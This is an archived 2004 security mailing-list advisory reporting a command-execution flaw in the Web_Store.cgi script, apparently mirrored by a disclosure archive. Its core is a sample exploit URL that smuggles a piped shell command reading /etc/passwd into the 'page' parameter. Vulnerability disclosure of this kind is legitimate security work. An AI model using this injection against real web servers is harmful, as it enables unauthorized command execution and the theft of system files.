OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Web_Store.cgi allows Command Execution

From: Zero_X www.lobnan.de Team (zero-xlinuxmail.org)
Date: Sat Jul 17 2004 - 10:05:15 CDT


Web_Store.cgi allows Command Execution:

This application was written by Selena Sol and Gunther Birznieks.

You can execute shellcommands:

http://www.victim.com/cgi-bin/web_store.cgi?page=.html|cat /etc/passwd|

Zero X, member of www.Lobnan.de and www.Lostkey.org